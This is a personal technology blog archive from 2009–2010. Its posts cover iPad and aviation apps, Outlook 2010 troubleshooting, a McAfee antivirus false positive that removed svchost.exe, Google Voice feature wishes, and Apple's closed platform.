As I have mentioned before here, I use my iPhone for all sorts of things, but especially for aviation related tasks. Since the Foreflight aviation software for pilots was released in an iPad HD version in early April, I knew that was going to become my electronic flight bag. In fact, I might not have even bought an iPad at this point if it wasn't for Foreflight. I waited for the 3G model before buying because its built-in GPS can be used by Foreflight's maps and location-based information system. I'll write a Foreflight HD review soon. It's quite awesome, especially considering this is the first rev if the HD version. I can't wait to see what they improve and add over time. Check out http://www.foreflight.com for details.

After using it for a few days, though, there are lots more reasons I'm glad I made the jump and picked this thing up.

There are so many well-worn cliche statements about the iPad that people have used over the past month. Some of them are especially true, though. For example, reading and writing email on this thing is awesome. It's the way it should be.

Not everything is so perfect in iPad land, though. I wrote this blog post in a program (BlogPress) that is available in a HD version that uses the full iPad screen space, but it won't publish to my site. I guess the metaweblog API isn't good enough for it. :) Unfortunately it appears a good, solid, full featured blog authoring app is a pretty serious gap in the bazillions of apps available on the App Store. There's an opportunity just waiting for someone to tackle it.

The 3G radio, as one pretty much has to expect, pulls down the charge on the battery faster than the iPad model that's just wifi. Of course, you can turn 3G and wifi off and on as you like, independently. How much battery power is actually used with a 3G connection seems to be dependent -- and this makes logical sense -- on the distance from the cell towers and the relative transmit power needed to make the radio connections. Id imagine its also dependent on the type of connection and the frequency band in use on a given tower. Common sense applies to battery life just like any other device. On both models backlight brightness also contributes to batty life, of course.

I've started searching for a high-output car charger, since the iPad needs more than the typical iPhone charger puts out. Kensington and a couple other companies are making a 2.1-watt charger that will allow the iPad to charge in the car in a reasonable amount of time, so I will be picking up one of those soon.

A few of my favorite other apps that have a place on my home screen page:

I set up and tried the AT&T navigator turn by turn software that I already had running on my iPhone. Even though its not iPad screen optimized and I have to use the zoom resized to go full screen, it works great and even better than on the iPhone 3G. The iPad has much louder and clearer voice navigation (and music sound for that matter) and the GPS is fast and more accurate. It just runs better overall. The iPad is a terrific GPS device it seems. Time for some custom iPad dash mounts. Do a YouTube search and you'll see a couple.

I've started using one iPhone app again that I'd let languish for some time because again its just better on the iPad even though you have to zoom it to use the full screen: BeeJive Instant Messenger. The extra real estate and bigger typing surface is great. I hope they release a HD iPad version soon.

The Safari browser on the iPad is awesome and almost so second nature I forgot to mention it. I did notice though that some sites optimized to work with iPhone are a little weird in the iPad browser. Google Voice is a good example (for both the mobile and standard interfaces especially when it comes to the voice mail playback areas of the interface).

Netflix for the iPad is pure genius, and as more flicks are released for streaming it just keeps getting more and more worthwhile. Hulu needs to get their iPad act together now, for real. The ABC video app is cool and now it plays over 3G with a new update, too. (updated) word is they will be updating it so you can play video over the 3G. Right now ABC's app only streams over wifi.

My favorite game so far is FlightControl HD, a top-down view map game where you land airplanes and helicopters and keep them from crashing into each other. Relatively simple, pure genius. Addictive stuff. I haven't tried many other games just because I'm not a huge gamer. Some of the driving games sure look fun though.

The Weather Channel HD app is also really slick. Lots of great info there, in a well-used piece of screen real estate.

There are others, as well but that gives you an idea. I'll write more at a later time.

Anyone else got a list of killer apps for iPad 3G I should be sure to check out?



Add/Read: Comments [0]
Apple | Geek Out | Mobile | Tech
Monday, May 03, 2010 5:33:11 PM (Pacific Standard Time, UTC-08:00)
#  Trackback
 Monday, April 26, 2010

I’ve received a number of emails this morning complimenting me on a YouTube video showing a new app that syncs with iTunes via the WiFi connection. The only problem is, I’m not the same Greg Hughes that wrote the app.

To see what all the geeky excitement is about, watch the video below.

The Greg Hughes in question is actually a guy in the United Kingdom. He tells me he’s a 2nd-year Computer Science student at the University of Birmingham. What he’s built looks pretty cool. I hope that when my namesake submits his app to the Apple Store, they accept it and let all of us get at it (I’m wondering if they won’t approve based on past decisions, and if they’ll say it performs an action already provided by an Apple product -- but I’d sure love to be proven wrong on this one).

The app is set to be submitted at the Apple App Store soon according to the author, and it looks like we can check for the latest information at http://getwifisync.com/ (there’s not much there as of the time of this writing, but that will almost certainly change) and there’s a Twitter account at http://twitter.com/WifiSync to check out.



Add/Read: Comments [2]
Apple | Tech
Monday, April 26, 2010 7:19:43 AM (Pacific Standard Time, UTC-08:00)
#  Trackback
 Friday, April 23, 2010

image I’ve been fighting a bit with my installation of Outlook 2010 (beta) for the past several days. Don’t get me wrong, now: I love Outlook 2010, it’s by far the best version of Outlook ever. The ability to have multiple Exchange account visible at one time is a killer new feature, and there are a lot of other great improvements.

But Outlook can be challenging sometimes. It’s a complicated program, especially when used with Exchange. So. now was just one of those times. Consistently the program would hang and I’d have to wait for what seemed like an eternity for it to come back to a responsive state. I did a lot of analysis and narroowing down the behavior by disabling a lot of account and feature settings, and decided that it seemed to be related to a hosted Exchange account I use for my greghughes.net email service. The more account features I enabled and accessed in Outlook, the more it would hang. For example, if I accessed the calendar associated with that account and then tried to open something, or if I switched from the calendar back to the mail view, or if I tried to look up a contact, Outlook would hang. It was to the point of being ridiculous in terms of getting anything done, since the hangs could last a few minutes or more at times. Outlook actually trained me to walk away and come back in 5 minutes. But that’s better than a busted up laptop, I suppose!

I started troubleshooting this and a couple other issues I was seeing that were affecting performance. One of the problems with trying to resolve Outlook issues is that the error messages the program provides are often very generic in nature and don’t point to a root cause. If I had a dime for every time it told me I didn’t have permission to do something , or for every time Outlook told me it’s trying to connect to an Exchange server and failing, I’d be rich. There are a zillion things that can cause these generic, simple errors. And the funny thing is, sometimes it’s not even an Exchange server it’s connecting to, even though it says it is. It might be connecting to a domain controller name instead to try to go a GC lookup, for example. You have to know what to look for, and how Exchange and Outlook work, in order to solve most Outlook behavior issues. Luckily I have a lot of past experience in that department.

At any rate, I eventually got to the point where I was spending my time looking at the Exchange Server’s connection status window. To see that, you locate the Outlook status icon down in the task bar near the clock, hold down the CTRL key, and click on the icon. Then you can choose the menu option for Connection Status. You only see that option if you CTRL-click the icon, though.

     Exchange-Connections 
         (Server names omitted where appropriate to protect the innocent)

One of the first things I noticed was the fact that there were communication failures to my hosted Exchange server see the red-outlined numbers above), and that the connections were taking a long time to establish themselves. The status would stay at “connecting” frequently, and that was always the same time when Outlook was hanging. So, I figured was getting somewhere. At least I had a likely correlation. The other Exchange server, which is domain-authenticated and available on the local network, wasn’t hanging. Connections were quick and reliable (as you can see from the numbers above) on that one.

That made me think some more. Every time I start Outlook, I am prompted to enter my credentials for the greghughes.net Exchange Server. Despite the fact that I click the “save password” box when I log in, I am always prompted when starting Outlook. I had planned to see if there was a certificate mismatch problem of some sort, but with the connecting communication failures happening, I wondered if there might be a problem with the credential being passed to the server. As you can see in the connection status windows picture, the connection is an Outlook RPC over HTTPS type, and so I went investigating in the account settings for the greghughes.net account:

     image

     image

Sure enough, I found what I suspected I might: Outlook was prompting me to enter a username and password – behavior that’s associated with basic authentication – but Outlook was configured to use NTLM authentication when connecting. So, logic says that it was trying for a NTLM auth, waiting around for it to time out, and then reverting to the lower-security username and password over HTTPS. That would probably explain the communication hangs, and why Outlook wasn’t saving the plain text credentials when I asked it to.

I changed the proxy authentication setting to use basic authentication, and restarted Outlook. I was prompted to enter my credentials once, and haven’t been asked since. And, the connection to the server is much more snappy and reliable.

I don’t really know why the communication hangs started up a few days ago. Perhaps something changed settings-wise when my svchost.exe file got eaten by my AV software. I have been running Outlook 10 beta for a couple months and it was a new issue (although the credentials pop-up was consistent since installation).

But, regardless it looks like at least one or two of the problems I was having are now solved. And that’s a good thing. Now I’m off to troubleshoot some auto-archiving issues.



Add/Read: Comments [3]
Microsoft Office | Tech
Friday, April 23, 2010 5:07:55 PM (Pacific Standard Time, UTC-08:00)
#  Trackback
 Wednesday, April 21, 2010

Many users of McAfee's virus scanning products are experiencing some real pain today due to a false positive virus alert (for the wecorl.a virus) that is resulting in dcom error reboots and in many cases the removal of the valid Windows svchost.exe from affected systems.

Despite a massive slew of articles and posts made on web sites today saying a new virus is in the wild and infecting computers (typically referring to this is a zero-day vulnerability), this is not in fact a virus outbreak, as anyone who knows how to use Google and has a remotely curious mind can discover in a matter of seconds. It’s an antivirus false-positive. The wecorl.a trojan is a couple years old, and this is not it. Even if it was a virus, it would not be zero-day.

In a nutshell, McAfee made a big mess with their AV update early this morning, and they are working feverishly to fix it. Read on.

First of all, if you're affected by the problem described below, information about a workaround fix and an update is available from McAfee at the McAfee Threat Center web site:

One of my own computers fell victim to this today, and I've been fighting with it since. I just got it back online, restored to normal and fully operational. My problem started at about 7am today and so I was figuring it out on my own, but the instructions McAfee has provided for the workaround/fix (linked above) are basically the same thing.

wecorl A DAT (virus definition 5958) file that appears was released earlier today has an issue that causes the valid Microsoft svchost.exe critical system file to be flagged as infected. It's not infected, though. This appears to impact primarily Windows XP SP3 computers, but it could be broader than that. As a result of the false flagging of the file, the McAfee AV software takes action, which can include doing nothing, quarantining the file, or in some cases removing it completely (that's what happened to mine).

If the file is quarantined or deleted, Windows stops working normally and a lot of the typical Windows functionality just isn't there anymore. Things like start menus, drag and drop capabilities, copy and paste in Explorer, and a whole lot more. You can still open Task Manager and launch new tasks manually, and the CMD window interface (command line shell) works just like always, so it's possible to get around to fix it up.

If you are running McAfee Virus Scan and have a signature file version 5958 (open the "about" dialog and look for the DAT version), then it appears you are affected. Rolling back to 5957.0000 (which was issued 4/20) will resolve the issue. There is also an "extra.dat" file available that can be dropped into the McAfee AV scanner's DAT directory while in safe mode, and then the computer should be restarted. Or if you're a business using EPO to centrally manage your AV system, you can push it out with that.

But if your svchost.exe file has been quarantined or deleted, you'll have to do some hands-on repair (at east for now, until a better solution is put together). The link at the top of this article walks you through what's needed.

This is a serious challenge today for McAfee. Their web sites appear to be badly overloaded and I have friends in the business who are waiting on hold with McAfee for extended periods on time. In speaking with people working at other (huge) companies, it's apparent the impact is huge and widespread. Thousands of people who should be working are dead in the water now, so to speak, with no computer to do their work on.

I hate to think what the financial impact of this is. It's got to be huge. Follow the link above and check it for updates from McAfee as time goes on.



Add/Read: Comments [1]
IT Security | Tech
Wednesday, April 21, 2010 12:07:18 PM (Pacific Standard Time, UTC-08:00)
#  Trackback
 Wednesday, April 07, 2010

TechCrunch reports today that Google is dog-fooding (using and testing internally) a desktop app that lets you make Google Voice calls.

Google announced the acquisition of Gizmo5 last year, a company with an app that provides Internet based calling software for mobile phones and land lines. At that time they pointed out the Gizmo5 folks would be joining the Google Voice team and working to enhance Google Voice for the future: “Gizmo5's engineers will be joining the Google Voice team to continue improving the Google Voice and Gizmo5 experience.”

This is something to look forward to. Google Voice is a great service, and filling in some of the gaps in the current offering would round it out quite well.

UPDATE: At Download Squad, their sources inside Google indicate that something is coming, as well: “…Google sources have confirmed this as well, saying "We're looking at a full, free, VOIP/SMS desktop client...It's amazing.”



Add/Read: Comments [1]
Tech
Wednesday, April 07, 2010 9:06:55 PM (Pacific Standard Time, UTC-08:00)
#  Trackback

image Richard and I recently interviewed Nick Simons, a program manager at Microsoft who works on the Office Web Apps. He’s been there quite a while, and can say (with pride) that he killed Clippy, that annoying little character that thought he knew what you were trying to do, but often got it wrong and ultimately got removed from the office suite.

In our interview on RunAs Radio this week, Nick discusses Microsoft’s Office Web Apps and how people can use Office 2010 and the Web Apps to share and collaborate, and how it all integrates with SharePoint 2010 and Windows Live Skydrive.

He also briefly describes how they killed Clippy back in the day, and why.

Nick Simons Puts Office on the Web
RunAs Radio Show #155 -- 4/7/2010 (36 minutes)

  • This week’s show page on RunAsRadio.com (with RSS feeds and various available file formats)
  • Direct link to the MP3
  • RSS feed to subscribe to the MP3 format


Add/Read: Comments [2]
Microsoft Office | SharePoint | Tech
Wednesday, April 07, 2010 2:46:26 PM (Pacific Standard Time, UTC-08:00)
#  Trackback

I have two different Exchange Servers and associated accounts open and active at the same time in my copy of Outlook 2010. That’s a new feature in the new version of Outlook, by the way: multiple Exchange accounts visible in one profile – Quite a great change over previous versions!

I’ve had a problem ever since installing this beta copy of Office 14, though. In the to-do bar (that sidebar thing on the right side of the Outlook window that shows you a bunch of info such as monthly calendars, upcoming appointments, contacts, tasks, etc.) the calendar from which appointments were being displayed was not the calendar I wanted. The info being shown there was not useful, because that calendar wasn’t the one I use.

So, I was trying to figure out how to change the calendar displayed there to the one associated with my other Exchange account. How Outlook chose which calendar to display, as far as I could tell, was a matter of which Exchange Server I set  up first when I installed Outlook.

imageI tried a number of things, including looking at every setting available in Outlook’s Options screens, changing the default mail account in the Outlook account properties dialog, and searching the registry for info, but in the end it was something much simpler. It took a bit of trial and error, but I finally figured it out.

What fixed it was calling up the account info screen (File > Info), then opening the “Account Settings” dialog, switching to the “Data Files” tab, highlighting the OST file associated with the account that contains the calendar I wanted to have displayed, and then clicking the “Set as Default” button. Then I closed the dialog box, shut down Outlook and restarted it, and lo and behold the correct calendar was showing. Freakin’ magic, I tell ya.

You’d think this solution might be a bit easier to find (I searched far and wide in the help and on the web), but at any rate it’s fixed now. And since I will probably forget the next time I need to do this, here it is recorded for posterity’s sake.

The Outlook Blog has a bunch of cool info about the Outlook 2010 version that users should find interesting and useful. Anyone know any other cool little tweaking tricks for Outlook 2010 that people should know about?



Add/Read: Comments [4]
Microsoft Office | Tech
Wednesday, April 07, 2010 2:30:08 PM (Pacific Standard Time, UTC-08:00)
#  Trackback
 Saturday, April 03, 2010

I drove down to Best Buy today to check out the iPads they had on display and for sale. It was about 1:30 p.m. when we arrived and they still had quite a few in stock, but only the 32GB and 64GB models. The 16GB iPads had sold out just before we arrived.

My impressions of the device were this: It was a little heavier than I thought it would be, and a little thicker feeling, but a nice size. It has a great display and is very snappy and responsive. The iPhone apps displayed at 2x resolution were generally pretty blocky looking, but useable at least until a higher-resolution version is released. I wouldn’t want to keep viewing some of them for too long just because it was hard to look at them that way for more than a few minutes. Maybe I’m just spoiled.

Why do I want one of these things? There are a variety of reasons, but one particular reason tops my list. I’m very much looking forward to running ForeFlight Mobile HD on the iPad in the future. The picture on the right shows a couple cool screens of the aviation application revamped for the iPad’s larger display. They’ve iPad-ified acreens for plates, maps, weather, downloads, and airport data. They’ll be adding a bunch of other iPad enhancements in a future update.

Anyhow, back to my check-out-the-iPad experience… The Best Buy sales guy said ( in a “you didn’t hear it from me” sort of way) that they would have another shipment of them in next Sunday. For what it’s worth. I asked for and got a paper from the guy entitling me to go to the front counter and pick up a 32GB model and continued to shop at the store. But, as I thought about it I kept returning to my position over the past few days: The iPad doesn’t have enough value for me without the 3G radio built in. I was considering buying one for use around the house, but just couldn’t justify buying two of these in the first month.

So, I returned the paper to the floor sales guy and said thanks, but I was going to wait for the 3G models. He nodded and said he understood.

It’s a cool device with a nice interface. It’s a lot like a big iPod Touch or iPhone, as the kids pointed out. But it also can do more than the smaller devices in terms of app capabilities and performance.

I’ll pick one up once the 3G models are out. For now, I’ll wait.



Add/Read: Comments [2]
Apple | Mobile | Tech
Saturday, April 03, 2010 8:06:48 PM (Pacific Standard Time, UTC-08:00)
#  Trackback
 Friday, April 02, 2010

I’m a power user of both Google Voice and Microsoft Outlook (currently using the 2010 beta version at home). One of the interesting little speed bumps that accompanies the Google Voice service is the fact that, in order to have a phone call to one of your contacts appear as if it’s being initiated from your Google Voice number, you have to dial out to a custom phone number that the Google Voice service provides/assigns to every number you dial.

In other words, let’s say I want to call (999) 888-7777 from my cell phone. And that I want the Caller ID info to display my Google Voice phone number, not my cell phone’s information. In order to do this, I have a few options:

  • Dial via the Google Voice browser interface – GV allows me to enter a number from the web interface (or click to call a GV contact), which results first in my phone ringing, and then when I answer it I wait on the line while the service dials the person I am trying to call. GV acts as a sort of automated operator, connecting me and the other party.
  • Dial a special unique phone number – Specifically a number assigned by Google Voice, which is a sort of “proxy” number. Typically beginning with area code 406, I have to know the number to dial. If I dial that number, the GV service forwards the call to the proper recipient’s phone number, and their phone rings. Google Voice sends my GV caller ID info to their phone. The problem is, I have to have a way to actually find out this number, and the only practical way to do so is to ask the person to send a text message to my GV phone number. Magically, when they do that GV shows the special (406) number that I need as the number that sent the txt message. It works, but it’s kludgy.
  • Use the Google Voice iPhone web app to dial any phone number – This option allows me to dial someone similar to the “proxy number” option above, except that I don’t actually have to know the proxy number ahead of time. Interestingly, the iPhone app sends the recipient’s actual phone number to the GV service, then gets a (406) proxy number back and presents me with a brief dialing to call that number. So, it handles the “What number should I call” problem and doesn’t require me to convince my friend to send me a txt message to find out his or her 406 number.

So – That last option raises some interesting questions. The iPhone/mobile web app is apparently capable of taking, via some API, a phone number and then returning a GV number to dial. Now, I haven’t snooped the network traffic or looked to see how this is actually done under the hood, but it makes me think. Assuming that there’s for sort of API available, how else might I want to use it?

It’s not too much of a stretch: Since I use a GV number for my work number in my home office, it would be *very* useful to me to be able to click on a phone number in Outlook (in an email, in a contact, etc.) and have it dial the (406) number that the GV service can possibly provide. A nice, clean way to dial wherever the number appears on the screen would be great to have. Unfortunately, Office 2010 appears to have removed support for it’s old Phone Number Smart Tag (all smart tags seem to be deprecated, in fact). So how to recognize and hook into phone numbers would be one of many open questions.

I can imagine some other probable complicated moving parts that have to be accounted for (for example, authentication and user context: Does GV appears to assign the same (406) numbers to multiple GV users, but for different numbers. In other words, where a given number in the context of my account might dial 999-888-7777, the same (406) number on another GV account might be assigned to ring 555-444-3333).

But -- if it can be done, this seems like something that people would be willing to buy for say, $9.95 or so a pop. I know I would. Or maybe Google should build it an ship it for free, just to push adoption and gain some traction among the Outlook-anchored crowd.



Add/Read: Comments [1]
Geek Out | Tech
Friday, April 02, 2010 10:25:08 AM (Pacific Standard Time, UTC-08:00)
#  Trackback

I decided the other day that I won’t be in the lines on Saturday morning when the iPad becomes available at Apple stores and Best Buys around the country. Cory Doctorow also says he won’t buy one, but for different reasons. He goes so far as to say you shouldn't get one either. Interesting arguments. I’ve discussed before – here on this site - some of the reasons I think I want one, as well as some of the concerns I have about it, and in the end I do want to acquire one.

But, this Saturday’s event won’t be for me.

Why? I’m going to wait for the 3G-equipped model.

The more I think about it, the more I realize I need portability in the iPad if I am going to use it, meaning portability and network access across the boundaries and gaps of WiFi networks. I plan to use an iPad from the road, in the hangar, at any random place where I might land and want to check a weather report and email, that sort of thing. So, without an available-most-everywhere data service (a phrase that some, I know, will debate at length), it just won’t meet my needs.

So, I wait.

Anyone else waiting for the 3G models before buying? Too bad they’re not available on day-one. I’d grab my lawn line chair and head right down there if they were.

Update: A good New York Times article talks about perceptions, limitations and redundancy in the iPad. Interesting perspective.



Add/Read: Comments [1]
Apple | Mobile | Tech
Friday, April 02, 2010 9:32:42 AM (Pacific Standard Time, UTC-08:00)
#  Trackback
 Thursday, February 11, 2010

A guy named Chad contacted me today and asked if I knew how to get the newest version of Blackberry Messenger (which, as of the time of this writing is v5.0.0.57) on his Blackberry device. He was having problems finding it because his BB Desktop Manager software would not find the update, he said. After some questions and answers, I found the page linked below on the Blackberry support web site, which allows you to send a link to your BB so you can download and install the software app (assuming you have rights to install apps on your phone, of course).

Once installed, you may have to reboot your Blackberry device.

Hopefully that helps someone else!



Add/Read: Comments [2]
Mobile | Tech
Thursday, February 11, 2010 7:56:38 AM (Pacific Standard Time, UTC-08:00)
#  Trackback
 Friday, January 29, 2010

You could argue that one shouldn’t complain about a product before it lands in your hot little hands, but a common theme over the past few days among the pundits on the web has been the newly-announced iPad and it’s apparent lack of openness. as Alex Payne comments, “Apple has decided that openness is not a quality that’s necessary in a personal computer. That’s disturbing.”

While I think the iPad is a cool device, and that it will be useful, and that I will likely buy one… I have to agree with Alex. He’s right. That’s an interesting and complicated place to be: I want to and probably will use an iPad to do good things, and make valuable use of it. But there’s a big part of me that won’t like it too much.

The risks of closed platforms have been debated for some time, in many venues and over a variety of companies, platforms and systems. Lots of catchy terms like “walled garden” and “black box” are used to describe essentially one thing: Vendor-provided ecosystems that you can only interact with they way the vendor allows you to.

It’s why the iPhone “hacking” community has been so active, and so popular. Everywhere I see teenagers and aducts with iPhones that have been “jailbroken” so they could run third party apps and get around Apple-instituted limitations, or unlocked so they could drop in a T-Mobile SIM card. The numbers are staggering when you look at how many iPhones have been modified. And I think we all know that the same community will step up and take the same approach with the iPad. After all, “it’s just a big iPod touch,” as they say. Well, whether you look at it that way or not, the software is a common denominator for sure.

Apple needs to step up and find a way to work their garden so the walls can at least be lower. There must be a healthy balance between truly closed, which is what we have today. Apps can’t be installed on the iPhone unless Apple sells and approves then (unless you jailbreak your device). Allow multitasking and background application activity, in the very least. Some restrictions are simply unacceptable.

The closed nature of the device – and I call it that purposefully – foretells the possible future, one where consumer devices replace computing systems. The iPad may have a computer chip in it, but so do my clock radio and televisions, and those are devices – not computers. If I can’t have unfettered access to the computer, it’s a device in my mind. When I was a kid we used to get into the guts of the computer, physically and programming-wise. We were able to make them do whatever our little hearts desired. That might be something good or bad, smart or stupid, broken or functional. But we learned and we created, we discovered and we built.

The iPad is a design feat (with a fat bezel, but still a cool design). The OS is another design usability marvel. The ecosystem built around the devices is popular, usable and works. But it stifles creativity, choice, flexibility. Are we at another of these inflection points, where things like common-person usability and “it just works” are acceptable trade-offs for flexibility and capability?

My hope is that Apple will step up to the plate and make some hard choices that benefit their customers’ bigger-picture needs. It’s the right thing to do, and would add some traction to what otherwise appears to be a deceptively  slippery slope. I can envision a software switch (which would be set to the “safest” mode by default) that a device user could manipulate to “lower the garden walls” electronically as a matter of choice, with the potential consequences clearly spelled out (and I should point out that this would be a useful enterprise capability as well, should they wish to properly and securely enter that space someday).

Choice. What a concept.

Ready – Set – Comment.



Add/Read: Comments [3]
Apple | Mobile | Tech | Things that Suck
Friday, January 29, 2010 11:38:03 AM (Pacific Standard Time, UTC-08:00)
#  Trackback
 Wednesday, January 27, 2010

Apple is taking the covers off a new “tablet” style device today – called the iPad (link to Apple’s new product site, with video) - in a much-hyped announcement. I rely on my iPhone in so many different ways nowadays that I have a hard time thinking what work and life would be like without it. I could manage just fine, but things would change substantially.

One of the things I do a lot with my iPhone is pilot-related. I have a number of apps on the iPhone that I use to help me look at aviation weather, airport information and diagrams, radar images, current wind and weather conditions, electronic charts, and a whole lot more.

iphone-ipad But the iPhone is a small screen for a lot of the information. Much like small GPS devices in the cockpit are convenient yet too small to offer the best experience, the iPhone doesn’t provide the best format for some content.

Here are the iPhone aviation and pilot apps I use most often:

  • ForeFlight Mobile – worth every penny and more, this is an amazing app for planning flight, filing your flight plan, lot of maps (VFR/IFR/street/weather/clouds), electronic airport information, weather info to the max (including closest station winds aloft) and much much much more.
  • CoPilot – I use it mostly for the terrific weight and balance calculator and graphing portion of the app. Also for some speed/distance/fuel/etc. calculations (all of which I always verify manually). If ForeFlight had all this included, it would be terrific.
  • AeroWeather – Probably the app I run most often. One tap on the screen and I have an instant one-screen view (very well laid-out) of the weather situation at each airport I care about, arranged the way I want.
  • TWC (The Weather Channel) – Not an aviation app, but it has a good 10-day view of the weather that tends to show the most pessimistic look at what’s forecasted, which is nice for pilots. We need an aviation-specific app with a long-term view like this one has (within reasonable predication limits).

http://c0581892.cdn.cloudfiles.rackspacecloud.com/apple-tablet-keynote_033.jpg

Enter the Apple iPad. Half and inch thick, 1.5 pounds and a 9.7-inch display. And it can run ALL iPhone apps out of the box, pixel for pixel with a border, or via pixel doubling in full-screen mode. A new SDK lets app developers take full advantage of the screen real estate and resolution.

And, there’s 3G service for $14.99/month for 250MB of data, or $29.99 for unlimited data - from AT&T. Free AT&T WiFi hotspot use with those accounts, too. But, the iPad 3G models are unlocked, so choose your GSM carrier. Prices for iPads start at $499 for a 16GB WiFi only model (with options of 32GB and 64GB storage), and 3G models for $629, $729 and $829. WiFi models available in 60 days, and 3G versions in 90 days.

Now, granted I am predicting the future a bit here, but hopefully ForeFlight and a few other iPhone apps on the new tablet will – assuming they all take advantage of the new display capabilities in updates – be the most perfect in-between device option for the private pilot.

Grab a copy of the latest AFD as an eBook? There’s an app for that.

I can even imagine Garmin or some other aviation GPS software/hardware maker offering a iPad app for sale, rather than selling a device with the software. The possibilities for flying – after accounting for very necessary safety and quality requirements - are great.

Anyone else think they might want an iPad for their aircraft cockpit?



Add/Read: Comments [13]
Apple | Mobile | Tech
Wednesday, January 27, 2010 11:46:37 AM (Pacific Standard Time, UTC-08:00)
#  Trackback
 Saturday, December 05, 2009

I have had (SORRY - ALL GONE!) two Google Voice account invitations for anyone who wants one. First come, first served.

If you want to know what Google Voice is, check out their videos that do a good job of describing what it does and how it works here. For now it's available by invitation only, so you can either get one from someone who has extras, or you can sign up for an invitation from Google at this link.

I'll update this post when t The invites have all been taken. I'll post again if and when I have any more available.



Add/Read: Comments [4]
Tech
Saturday, December 05, 2009 10:55:05 AM (Pacific Standard Time, UTC-08:00)
#  Trackback
 Friday, September 25, 2009

One of the upcoming online summits at BrightTalk is the Cloud Security Summit, which consists of a bunch of web conferences on September 30th.

You can visit the summit overview and schedule page here.

Lots of topics around security, legal issues and compliance in the context of cloud computing. Good stuff. Recently on RunAs Radio we have have had a couple discussions where cloud computing came up, too.



Add/Read: Comments [0]
IT Security | Tech
Friday, September 25, 2009 4:36:42 PM (Pacific Standard Time, UTC-08:00)
#  Trackback
 Sunday, September 06, 2009

I've been asked/directed to figure out a good, friendly, reliable and especially non-geek-usable way to do shared calendars where everything just works. If you have any bright ideas let me know. Here is what I have come up with and am thinking about so far:

  • Google Calendars on a new Google Apps domain - I have already acquired and set up a custom domain (ourfamily.cc) so we can have individual and shared calendars, docs, email, chat etc. in that environment. We want to share calendar details with each other, not the whole world.
  • My other calendars at greghughes.net - I have this hodge-podge of Hosted Exchange and Google Apps Calendars on this domain. I will need to find a good way to sync and share the info without sharing it to everyone.
  • Work calendar(s) - Typically on Exchange and accessed via Outlook, and I need to share only the free/busy data, and only for certain item categories to be appropriately security-conscious.
  • TripIt calendar(s) - for travel arrangements, keeps things automagical and simple. Want to incorporate those.
  • Access via Mac (iCal or Entourage), PC (Outlook), mobile phone (Android and iPhone) and via the web (Google Apps), with all the info always synced and up-to-date.
Tall order? Might be, but it seems to me this is they way it should be, so it's what I expect: Any device, anywhere, any calendar, always in sync, full authorization control over sharing and updating, no worries, no hassle, and easy for non-IT folks.

I've read over my friend Scott Hanselman's notes about how he has set up his system for similar needs, but that post is about a year old and he refers to some unnamed, secret-sounding plugins so I will need to touch base with him and see what he knows and thinks. In the podcast he and Carl Franklin recorded on the subject back in 2007, Scott noted "the fact that it's no trivial task and I struggled with it speaks to the state of Internet calendars in general." Surely things must have improved since then.

And then there's this blog post. Wow, uber-geekness.

I've used Google Calendar Sync before, but the laptop it ran on has since taken a long dive off a cliff and is no longer with us. I think I probably need to check out SyncMyCal, as it would allow me to be more granular than with Google's app. A comparison with Google Calendar Sync is here.

Someone really should write a tool that does all this or all of us, cross-platform, and make it all Automagical (tm). Anyone want to partner on a project?

What's worked for you? Anything? Let me know!



Add/Read: Comments [3]
Tech
Sunday, September 06, 2009 8:06:18 PM (Pacific Standard Time, UTC-08:00)
#  Trackback
 Saturday, August 29, 2009

I’m an Exchange 2007 user. It’s terrific, works great and is truly the standard by which others are judged when it comes to business email, calendaring, contacts and other key business productivity features.

Being both a Mac and a PC guy, I’ve been the tester, owner and user of a variety of different applications to interface to Exchange. Outlook 2007 on the PC is a pretty obvious choice, and again it’s a standard by which others are often judged. But on the Mac I have been using Entourage for some time, with mixed opinion and results. It’s a good attempt at filling the gap left by the fact that there is no Outlook for the Mac, but it lacks in both features and stability.

However, on this fin gray Saturday morning I find myself once again examining the world of Exchange and the Mac. As I type this my Mac is going through the upgrade process and transforming itself into a Snow Leopard (OSX v10.6) machine. I’ve also downloaded the Entourage Web Services Edition upgrade from Microsoft, which is waiting on the Mac hard drive to install after the OS upgrade is completed.

My plan here is to set up and run under the new native-Exchange 2007 support in OSX Snow Leopard while at the same time checking out the new Entourage Web Services Edition features.

I should also note that earlier this month, Microsoft announced it will be releasing (finally!) a new Outlook client for the Mac in 2010. The expected “too late” crowd has been chiming in with their opinions, but in The Real World, where people older than 13 years actually make decisions about buying software for business use, this may be a big deal. It’s at least somewhat inevitable that Macs will become more common in the workplace, and the need for a consistent collaboration and productivity platform will full-fidelity, complete feature sets across OS platforms is critical to making business work.

I’ll post more details and thoughts once I get some of the setup and comparisons done over the next couple days. Meanwhile, I need to get packing some more cardboard boxes here at home so I can load them up… For anyone who might have noticed I have been absent from writing here, I am in the process of selling my house and will be getting married in October, so my world is a bit busy these days. But I am not gone. :)



Add/Read: Comments [4]
Apple | Tech | Windows
Saturday, August 29, 2009 8:38:35 AM (Pacific Standard Time, UTC-08:00)
#  Trackback
 Tuesday, June 23, 2009

Google Voice is awesome. It's the greatest service you can't get yet today. One number for all my phones, for life, replete with text messaging capabilities and a whole slew of cool features.

But, as much as I love Google Voice, I will stand on my soapbox here for a few moments to yell into the ether about a couple of glaring omissions in the current release that I think Google should address sooner rather than later: MMS message support, and support for sending a mobile message (whether SMS or MMS) to multiple recipients at the same time.

MMS messages are multimedia messages and are sent much like a text message. They're different than SMS message sin that they might include a video or a picture. Right now, if I want to receive a MMS message, I have to tell people to send them to my actual cell number, not my google voice number. Why? Because Google Voice quietly and calmly eats MMS messages, never to be seen again. This completely defeats the purpose behind the "one-number-for-them-all" story. So, it needs to change. When the iPhone on AT&T gets MMS service, which is likely to happen in July sometime, this need will become even more apparent and important.

MMS support could probably be delivered in two phases. Right now if you send a MMS message to the Google Voice number, it just disappears into the ether, and is never delivered anywhere. You don't even know someone tried and the sender assumes it was delivered. To rectify this, Google could do a first phase change where MMS messages would simply be forwarded in original form to the mobile phone(s) configured in the system, without worrying about displaying them in the Google Voice web interface. In a second phase they could then enable web-based viewing.

Second on my list is adding the ability to send an SMS (and MMS as a bonus) message to a group of recipients. We already have contact groups, and we can select more than one contact at a time in the web interface, but the option to send a SMS message disappears from the user interface as soon as you select more than one recipient. I regularly use SMS messages to notify members of a church youth group about meetings and other announcements as a group, so enabling a group-send as well as select-multiple to send SMS would be huge for me. As a bonus, provide me with a phone number that is virtually tied to that group so I can send one txt to my group number on my mobile phone.

What features would you like to see added to Google Voice?



Add/Read: Comments [4]
Mobile | Tech
